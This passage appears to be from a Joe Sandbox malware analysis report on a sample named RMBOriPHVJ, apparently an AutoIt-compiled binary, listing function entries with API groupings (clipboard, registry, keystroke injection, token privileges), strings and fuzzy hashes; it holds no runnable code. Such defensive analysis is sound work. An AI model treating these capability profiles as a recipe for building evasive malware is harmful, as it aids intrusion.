                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                          • String ID: Shell_TrayWnd
                                                          • API String ID: 3778422247-2988720461
                                                          • Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
                                                          • Instruction ID: 90d5c0c6bacde42ef0a2db74bc924070ba388a46e8dc9e4fb26d3954f6ab7e4d
                                                          • Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
                                                          • Instruction Fuzzy Hash: 29418421B5891247E714EB25F85863BA696BF8CB91FF44070DD0B47B64EE3D984BC320
                                                          Function 00007FF787B7183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
                                                          • String ID:
                                                          • API String ID: 3372153169-0
                                                          • Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                          • Instruction ID: d82b14b91a054c75ed5452e3bfacf18808f5bdc269dbfa74b9395d1788200349
                                                          • Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                          • Instruction Fuzzy Hash: 3D22BF31A8864686EB60AB25D49467DABA6FF84B94FF44135CE2F47694CF3CE443D320
                                                          Function 00007FF787BDCE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
                                                          • String ID: default$winsta0$winsta0\default
                                                          • API String ID: 3202303201-1423368268
                                                          • Opcode ID: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
                                                          • Instruction ID: 136a3d1e5272f873fb774b831d790dc008e53c384b91e84aa807665822bdec0f
                                                          • Opcode Fuzzy Hash: de7527ded46d2e32930649954c580003a2a01d55c070abe543a614e541a7caf5
                                                          • Instruction Fuzzy Hash: E6A1A832B5CB4186E710EF61E4442AABB66FB85794F940136DE9E47B98DF3CE006C750
                                                          Function 00007FF787B72AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                          • String ID: AutoIt v3 GUI
                                                          • API String ID: 1458621304-248962490
                                                          • Opcode ID: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
                                                          • Instruction ID: c7c5c79ae382e83c3aac05f6bbd3d868870430d146eccd947ce6a869cc7b6ce0
                                                          • Opcode Fuzzy Hash: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
                                                          • Instruction Fuzzy Hash: 1CD1AE32A44A428AE714EF78D8906BD7BA5FB44B98FA04139DA0F577A4CF3CE446C710
                                                          Function 00007FF787B9F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: memcpy_s$_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 2880407647-0
                                                          • Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                          • Instruction ID: 291ba4ebbb31a5d184710271870024eb1557523f81679b74044efe922ad42d59
                                                          • Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                          • Instruction Fuzzy Hash: 37030A72A491C28FD776AE25D440BF9BBA6FB8478CFA00135DA1B57B44EB38E905C710
                                                          Function 00007FF787C00A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
                                                          • String ID:
                                                          • API String ID: 3222323430-0
                                                          • Opcode ID: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
                                                          • Instruction ID: 8281d55739d2aab3431c04f6ba8a42d501c95f07e93ad9d60fdba0f9b185e0ce
                                                          • Opcode Fuzzy Hash: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
                                                          • Instruction Fuzzy Hash: 1D719821A99A4282EB10FB25E45427DA765BF84B86FE14035DA1F077A1DF3CE647C3A0
                                                          Function 00007FF787C1C6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
                                                          • String ID:
                                                          • API String ID: 1015379403-0
                                                          • Opcode ID: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
                                                          • Instruction ID: a67a81088970f903bab249e85bc25972434ac497461f75609fced223d092460f
                                                          • Opcode Fuzzy Hash: 811f6ddedc4938916125b3772b32f534d797e58df8d8128b9f335a51bc1c3411
                                                          • Instruction Fuzzy Hash: 5002D271A8868285EB30EF20E4446B9A765FB84794FA44231EA6F07BD4DF3CE547C724
                                                          Function 00007FF787C0206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Cursor$Load$ErrorInfoLast
                                                          • String ID:
                                                          • API String ID: 3215588206-0
                                                          • Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
                                                          • Instruction ID: b02cefd71e1302092361e9de7b34e2ca25c739e597ce08c2bf2d89a9c1defe48
                                                          • Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
                                                          • Instruction Fuzzy Hash: 55517832A4CB028AEB48EB64F45827E63A5FB48764F604439DA1F83B94DE7CE456C354
                                                          Function 00007FF787BB529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
                                                          • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                          • API String ID: 281475176-2761157908
                                                          • Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                          • Instruction ID: a688873d55afc6e1fa1314a7b94042794d551a5093fc67954793606442829f49
                                                          • Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                          • Instruction Fuzzy Hash: 4CB20972A481828BE725EE65D4406FDBBA2FB4438CFA05135DE1B57B84DF38E906CB14
                                                          Function 00007FF787C10AEC Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 388registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CloseValue$ConnectCreateRegistry
                                                          • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                          • API String ID: 3314541760-966354055
                                                          • Opcode ID: 8da99fa8f9cfa95644d42f55175067c4e32022aa9dc53b987727f765eeff7340
                                                          • Instruction ID: 16b2d1c395a6bd3dc8addb8fb68683383ecc067d8b05bc82259926046c73ff99
                                                          • Opcode Fuzzy Hash: 8da99fa8f9cfa95644d42f55175067c4e32022aa9dc53b987727f765eeff7340
                                                          • Instruction Fuzzy Hash: E6028332B48A8285EB10EF25D4912ADBB65FF88FD4B959031DE4E4B756DF38E442C360
                                                          Function 00007FF787BB2400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
                                                          • String ID: -$:$:$?
                                                          • API String ID: 3440502458-92861585
                                                          • Opcode ID: 29640cefbc64bb20a6448e512a44a74645684bd6d76422271cad1a6b858f5664
                                                          • Instruction ID: 423db0a09f86468dd86168cca519b8a6414aaf57d2d979191a7a8e631fbc011f
                                                          • Opcode Fuzzy Hash: 29640cefbc64bb20a6448e512a44a74645684bd6d76422271cad1a6b858f5664
                                                          • Instruction Fuzzy Hash: 7DE1E232A4828286E724AF71D8505BAAF96FF44784FE45131EE4F43A95DF3CE483C624
                                                          Function 00007FF787BF72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Time$File$FindLocalSystem$CloseFirst
                                                          • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                                          • API String ID: 3232708057-3289030164
                                                          • Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                          • Instruction ID: 475369c52972f409e2e5654c417f576525b87097cdb2087d82bad7afbcda10da
                                                          • Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                          • Instruction Fuzzy Hash: 4DD18432B58A5696EB10FB65D4410EEEB62FB807D4FD04031EA4E5BAA9DF7CD10AC710
                                                          Function 00007FF787BF8BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
                                                          • String ID: *.*
                                                          • API String ID: 1111067124-438819550
                                                          • Opcode ID: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
                                                          • Instruction ID: 841482d2938058ad2c5a0ca941fa0b8222e104fb58fc109ff09de1a08731a39c
                                                          • Opcode Fuzzy Hash: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
                                                          • Instruction Fuzzy Hash: FD71A232658B8691DB10EF21E8805EEBB22FB84B84FA00031DA4F47766DF3DE546C750
                                                          Function 00007FF787BFA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                          • String ID: *.*
                                                          • API String ID: 1409584000-438819550
                                                          • Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
                                                          • Instruction ID: faa832012431b45bd9f113010d3304ea9216446b717a3235a13dc0f27ec541ea
                                                          • Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
                                                          • Instruction Fuzzy Hash: 7641BC21A5864294EB04FB25E8442BAE7A6FB45FA4FE05131DD2F436A4DF3CE40BC320
                                                          Function 00007FF787BED87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: SendString
                                                          • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                          • API String ID: 890592661-1007645807
                                                          • Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                          • Instruction ID: 73f63a1b8e92d9d5ae0ed29aa451d69fad2bd6da2b3a899b74ea73a948543b39
                                                          • Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                          • Instruction Fuzzy Hash: 9C21B132F5C99292EB20FB24F85167AA726FF98748FE04031EA4E47958DE2CD506C720
                                                          Function 00007FF787BFA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                          • String ID: *.*
                                                          • API String ID: 2640511053-438819550
                                                          • Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
                                                          • Instruction ID: d4f30dea3bcb5c241173457dcd227283f25370707d226725d7eb7599dbe5ba62
                                                          • Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
                                                          • Instruction Fuzzy Hash: 3B418C21A5CA4294EB44FB11E8446BAE796BB41BA4FE05131DD6F436D8EF3CE40BC720
                                                          Function 00007FF787C1055C Relevance: 16.9, APIs: 11, Instructions: 371registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: QueryValue$Close$BuffCharConnectOpenRegistryUpper
                                                          • String ID:
                                                          • API String ID: 3218304859-0
                                                          • Opcode ID: 56613195d31d9b8dc67beba3ae71979573c24aebd7d9093bc0b17d223b1a2dd4
                                                          • Instruction ID: 531cdbc3676f8a0167b65e81a966f11ce5be3bb6055ffa3152078a4342523a7f
                                                          • Opcode Fuzzy Hash: 56613195d31d9b8dc67beba3ae71979573c24aebd7d9093bc0b17d223b1a2dd4
                                                          • Instruction Fuzzy Hash: 1BF1B332B45B4286EB10EF69D4902BCB775FB84B98BA08531DE5E47B95DF38E042C364
                                                          Function 00007FF787BF83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                          • String ID:
                                                          • API String ID: 2762341140-0
                                                          • Opcode ID: 3f2bc404d53d5998161f0ee2b8df4f9bc3160e202cb50a098f9587f0d2c0f7e1
                                                          • Instruction ID: b5a0ee7cc81ee10dde7a171eca0b9bac371cb01d2eea3fa11d1dee836f6746f3
